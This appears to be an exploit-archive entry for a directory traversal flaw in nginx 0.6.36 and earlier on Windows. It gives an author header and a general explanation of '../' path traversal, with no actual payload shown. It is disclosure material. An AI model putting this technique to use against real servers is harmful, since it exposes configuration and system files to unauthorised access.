Nginx 0.6.36 – Directory Traversal
# Exploit Title: nginx [engine x] http server <= 0.6.36 Path Draversal # Date: 20/05/10 # Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il # Software Link: http://nginx.org/ # Version: <= 0.6.36 # Tested on: Win32 # ##[Path Traversal:] A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system.
